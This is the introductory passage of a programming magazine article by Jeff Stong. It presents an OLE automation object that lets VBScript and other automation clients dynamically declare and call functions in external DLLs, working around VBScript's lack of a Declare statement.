An Automation Object for Dynamic DLL Calls
Here's an OLE automation object for dynamically declaring and accessing functions in external DLLs

Jeff Stong has been developing DOS, Windows, and Windows NT based applications for 10 years. Jeff can be contacted at Jeff_V_Stong@msn.com.

You can access external DLLs from Visual Basic by using the Declare statement to declare the name of the function you want to call and the DLL that it resides in. VBScript, however, doesn't support the Declare statement. This article presents an OLE automation object that lets VBScript (or any other environment that can access automation objects) dynamically declare and access functions in external DLLs.
